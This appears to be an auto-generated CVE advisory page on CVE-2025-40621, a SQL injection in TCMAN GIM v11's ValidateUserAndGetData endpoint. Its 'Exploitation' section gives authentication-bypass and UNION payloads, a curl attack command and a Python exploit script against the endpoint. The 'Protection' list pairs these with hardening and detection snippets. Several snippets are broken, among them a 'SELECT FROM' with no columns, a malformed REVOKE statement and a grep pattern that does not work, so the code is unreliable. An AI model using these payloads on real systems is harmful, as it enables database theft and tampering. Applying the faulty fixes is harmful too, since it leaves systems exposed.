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How the CVE Works
CVE-2025-40621 is a critical SQL injection vulnerability in TCMAN’s GIM v11, specifically in the `User` parameter of the `ValidateUserAndGetData` endpoint. An unauthenticated attacker can craft malicious SQL queries to manipulate the database, allowing data theft, modification, or deletion. The flaw arises due to improper input sanitization, enabling direct SQL command execution via the vulnerable parameter. The CVSS 4.0 score of 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) highlights its network-based exploitability without authentication.
DailyCVE Form
Platform: TCMAN GIM
Version: v11
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
' OR '1'='1'--
Injected into the `User` parameter to bypass authentication.
2. Exploit via Curl:
curl -X POST http://target.com/ValidateUserAndGetData -d "User=' UNION SELECT FROM users--"
3. Database Dump:
' UNION SELECT table_name, column_name FROM information_schema.columns--
Protection
1. Input Sanitization:
$user = mysqli_real_escape_string($conn, $_POST['User']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM users WHERE User = ?");
$stmt->bind_param("s", $user);
3. WAF Rules:
location /ValidateUserAndGetData {
modsecurity_rules 'SecRule ARGS:User "@detectSQLi" deny';
}
4. Patch Verification:
grep -r "ValidateUserAndGetData" /var/www/tcman/
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep -i "sql|union"
6. Network Restriction:
iptables -A INPUT -p tcp --dport 80 ! -s trusted_ip -j DROP
7. Vendor Patch:
Apply TCMAN’s official update for GIM v11.
8. Exploit Detection:
if "' OR" in request.POST.get('User', ''):
block_request()
9. Database Permissions:
REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%';
10. Error Handling:
Disable detailed SQL errors in production.
Sample exploit script (educational use only)
import requests
payload = "admin' UNION SELECT 1,2,3,4--"
response = requests.post("http://target.com/ValidateUserAndGetData", data={"User": payload})
print(response.text)
Mitigation prioritizes parameterized queries, least-privilege database access, and active monitoring.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
